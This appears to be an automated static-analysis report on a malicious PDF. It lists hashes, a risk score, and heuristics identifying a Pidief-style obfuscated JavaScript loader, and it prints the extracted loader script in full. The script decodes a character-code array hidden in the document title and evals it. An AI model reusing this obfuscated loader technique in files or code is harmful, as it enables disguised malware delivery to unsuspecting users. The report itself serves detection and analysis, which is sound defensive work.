Malicious PDF — malware analysis report

Static analysis result for SHA-256 2547067930baa149…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 33e254fc72ef3fba3b03c9dbf1d61787 SHA-1: 483578e799773dac98bdc5c1ffa7a9def327cc2c SHA-256: 2547067930baa14931a94e56e720cdb2b934588d5d7f3759101bb4d7de041c19
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of an embedded JS stream. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB03C 606 bytes
SHA-256: 7e2c220b7365181e5c44e760db2002257d10faec2cd3932202d3a22aa4bd6f03
Preview script
First 1,000 lines of the extracted script
bhc='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
rlb=e('ti'+'tle');
s=rlb.substr(t.length + 8,3)+'str';
q=rlb[s](1,(1,9));
lgttc=e('S'+'tring.fro'+q);
q=rlb[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	czv = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	bhc += lgttc(czv);
}
e(bhc);

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